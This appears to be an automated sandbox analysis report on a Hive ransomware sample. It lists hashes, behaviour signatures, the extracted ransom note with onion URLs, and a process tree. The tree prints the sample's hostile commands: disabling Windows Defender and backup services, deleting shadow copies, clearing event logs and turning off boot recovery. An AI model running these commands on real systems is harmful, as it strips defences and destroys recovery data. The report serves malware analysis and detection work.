Overview

overview

10

Static

static

3

Trojan-Ran...ecf.7z

windows10-2004-x64

10

Analysis

  • max time kernel
    254s
  • max time network
    256s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/03/2025, 15:36

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Trojan-Ransom.Win32.Hive.cw-de5867fbc85c4f2cd210f60d565c99ab039f0be41c0ec6c7729d795d0ff15ecf.7z

  • Size

    894KB

  • MD5

    d41f6613256eb0ad7422d080e25b1295

  • SHA1

    1b0467ff55f311fbb2374d60167954c8afa1bf6e

  • SHA256

    773a84c3fcd0056ba603a8289affadb52b3ec1162fe161d4874aa9bc30b4e8d8

  • SHA512

    cc94ead6e6ae0b999082decd7ed656c25647e16b2ce09b6f604cab565aaa7ef2a12cac5b4d60e6553236fb5b53f51e8098a4282df429e0c44b1b6fc19f40a228

  • SSDEEP

    12288:/ve9LHimubryf14MQQ95OJHu9DgCgAaDKIMgaeI1jgeheAIm0w39D8wT0EJ3d7a:ogumMQQ9IF3CUKeehlv0Ih8G0EJ1a

Score
10/10
hivedefense_evasiondiscoveryevasionexecutionimpactransomwarespywarestealertrojan

Malware Config

Extracted

Path

C:\Program Files\Common Files\DESIGNER\etrU_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: hyYeLBF36G1U Password: sx77BJWt3JYh7xCtfZ2w To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.mhkwl files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Hive

    A ransomware written in Golang first seen in June 2021.

    ransomwarehive
  • Hive family
    hive
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    defense_evasionransomware
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 10 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Opens file in notepad (likely ransom note) 2 IoCs
    ransomware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.Hive.cw-de5867fbc85c4f2cd210f60d565c99ab039f0be41c0ec6c7729d795d0ff15ecf.7z"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2208
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
    1⤵
      PID:3160
    • C:\Users\Admin\Desktop\Trojan-Ransom.Win32.Hive.cw-de5867fbc85c4f2cd210f60d565c99ab039f0be41c0ec6c7729d795d0ff15ecf.exe
      "C:\Users\Admin\Desktop\Trojan-Ransom.Win32.Hive.cw-de5867fbc85c4f2cd210f60d565c99ab039f0be41c0ec6c7729d795d0ff15ecf.exe"
      1⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4704
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3796
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:4816
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3900
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:2260
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5564
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:3580
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "vmicvss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2040
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "vmicvss" /y
                3⤵
                  PID:3960
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1356
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:5140
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1968
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:5860
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4208
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:3376
                    • C:\Windows\SYSTEM32\net.exe
                      net.exe stop "UnistoreSvc_287d7" /y
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2928
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 stop "UnistoreSvc_287d7" /y
                        3⤵
                          PID:5356
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:2984
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "SDRSVC" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:2392
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "SstpSvc" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:4128
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "vmicvss" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:1436
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "VSS" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:3512
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "wbengine" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:1628
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "WebClient" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:1252
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "UnistoreSvc_287d7" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:4016
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                        2⤵
                        • Modifies Security services
                        PID:5756
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                        2⤵
                          PID:2996
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                          • Modifies Windows Defender DisableAntiSpyware settings
                          PID:2140
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:4756
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                            2⤵
                              PID:6016
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:2448
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:6060
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:5884
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:6080
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:6056
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                              2⤵
                                PID:5248
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:4236
                                • C:\Windows\SYSTEM32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                  2⤵
                                    PID:3996
                                  • C:\Windows\SYSTEM32\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:6044
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:2376
                                      • C:\Windows\SYSTEM32\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:2588
                                        • C:\Windows\SYSTEM32\schtasks.exe
                                          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                          2⤵
                                            PID:3768
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                            2⤵
                                              PID:5820
                                            • C:\Windows\SYSTEM32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                              2⤵
                                                PID:1668
                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                2⤵
                                                  PID:2440
                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                  2⤵
                                                    PID:604
                                                  • C:\Windows\SYSTEM32\reg.exe
                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                    2⤵
                                                      PID:5280
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:3808
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                        2⤵
                                                          PID:4744
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                          2⤵
                                                            PID:644
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:832
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:6076
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:4552
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:4636
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:4932
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:4648
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies security service
                                                                PID:3904
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:5996
                                                              • C:\Windows\SYSTEM32\vssadmin.exe
                                                                vssadmin.exe delete shadows /all /quiet
                                                                2⤵
                                                                • Interacts with shadow copies
                                                                PID:3436
                                                              • C:\Windows\SYSTEM32\wevtutil.exe
                                                                wevtutil.exe cl system
                                                                2⤵
                                                                • Clears Windows event logs
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:5140
                                                              • C:\Windows\SYSTEM32\wevtutil.exe
                                                                wevtutil.exe cl security
                                                                2⤵
                                                                • Clears Windows event logs
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:5860
                                                              • C:\Windows\SYSTEM32\wevtutil.exe
                                                                wevtutil.exe cl application
                                                                2⤵
                                                                • Clears Windows event logs
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2024
                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                wmic.exe SHADOWCOPY /nointeractive
                                                                2⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2192
                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                wmic.exe shadowcopy delete
                                                                2⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2200
                                                              • C:\Windows\SYSTEM32\bcdedit.exe
                                                                bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                2⤵
                                                                • Modifies boot configuration data using bcdedit
                                                                PID:2652
                                                              • C:\Windows\SYSTEM32\bcdedit.exe
                                                                bcdedit.exe /set {default} recoveryenabled no
                                                                2⤵
                                                                • Modifies boot configuration data using bcdedit
                                                                PID:5468
                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                2⤵
                                                                  PID:1064
                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                  2⤵
                                                                    PID:4880
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Set-MpPreference -DisableIOAVProtection $true
                                                                      3⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:1976
                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                    cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                    2⤵
                                                                      PID:2784
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                        3⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:3576
                                                                    • C:\Windows\SYSTEM32\notepad.exe
                                                                      notepad.exe C:\etrU_HOW_TO_DECRYPT.txt
                                                                      2⤵
                                                                      • Opens file in notepad (likely ransom note)
                                                                      PID:7060
                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                      cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\Desktop\Trojan-Ransom.Win32.Hive.cw-de5867fbc85c4f2cd210f60d565c99ab039f0be41c0ec6c7729d795d0ff15ecf.exe"
                                                                      2⤵
                                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                                      PID:7108
                                                                      • C:\Windows\system32\PING.EXE
                                                                        ping.exe -n 5 127.0.0.1
                                                                        3⤵
                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                        • Runs ping.exe
                                                                        PID:3628
                                                                  • C:\Windows\system32\taskmgr.exe
                                                                    "C:\Windows\system32\taskmgr.exe" /4
                                                                    1⤵
                                                                    • Checks SCSI registry key(s)
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                    • Suspicious use of FindShellTrayWindow
                                                                    • Suspicious use of SendNotifyMessage
                                                                    PID:2208
                                                                  • C:\Windows\system32\rundll32.exe
                                                                    "C:\Windows\system32\rundll32.exe" display.dll,ShowAdapterSettings 0
                                                                    1⤵
                                                                      PID:3084
                                                                    • C:\Windows\System32\rundll32.exe
                                                                      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                      1⤵
                                                                        PID:5272
                                                                      • C:\Windows\system32\NOTEPAD.EXE
                                                                        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\etrU_HOW_TO_DECRYPT.txt
                                                                        1⤵
                                                                        • Opens file in notepad (likely ransom note)
                                                                        PID:3204
                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                        1⤵
                                                                          PID:2804
                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                            2⤵
                                                                              PID:4868
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                            1⤵
                                                                            • Checks processor information in registry
                                                                            • Enumerates system info in registry
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                            PID:3184
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x124,0x128,0x12c,0xf4,0x130,0x7ffb5d5fdcf8,0x7ffb5d5fdd04,0x7ffb5d5fdd10
                                                                              2⤵
                                                                                PID:4276
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2024,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2008 /prefetch:2
                                                                                2⤵
                                                                                  PID:3364
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2008,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2192 /prefetch:3
                                                                                  2⤵
                                                                                    PID:5772
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2416,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2428 /prefetch:8
                                                                                    2⤵
                                                                                      PID:836
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3080,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3276 /prefetch:1
                                                                                      2⤵
                                                                                        PID:4864
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3556,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3576 /prefetch:1
                                                                                        2⤵
                                                                                          PID:5364
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4432,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4452 /prefetch:2
                                                                                          2⤵
                                                                                            PID:2604
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3976,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4736 /prefetch:1
                                                                                            2⤵
                                                                                              PID:1044
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4996,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4980 /prefetch:8
                                                                                              2⤵
                                                                                                PID:3056
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5056,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5060 /prefetch:8
                                                                                                2⤵
                                                                                                  PID:840
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=5536,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5088 /prefetch:1
                                                                                                  2⤵
                                                                                                    PID:5720
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=6084,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=6100 /prefetch:1
                                                                                                    2⤵
                                                                                                      PID:2260
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=3640,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3464 /prefetch:1
                                                                                                      2⤵
                                                                                                        PID:3956
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
